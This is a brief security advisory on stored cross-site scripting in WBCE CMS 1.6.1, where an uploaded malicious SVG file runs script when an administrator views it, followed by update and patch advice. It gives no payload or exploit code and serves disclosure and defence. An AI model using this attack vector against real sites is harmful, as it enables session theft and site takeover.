WBCE CMS 1.6.1 – Multiple Stored Cross-Site Scripting (XSS)

The WBCE CMS version 1.6.1 is vulnerable to multiple stored cross-site scripting (XSS) attacks. An attacker can upload a malicious SVG file containing a script that will be executed when viewed by an authenticated user with administrative privileges. This can lead to the execution of arbitrary code or the theft of sensitive information.

Mitigation:

To mitigate this vulnerability, it is recommended to update to the latest version of WBCE CMS or apply the vendor-provided patch when available. Additionally, users should avoid uploading or opening files from untrusted sources.
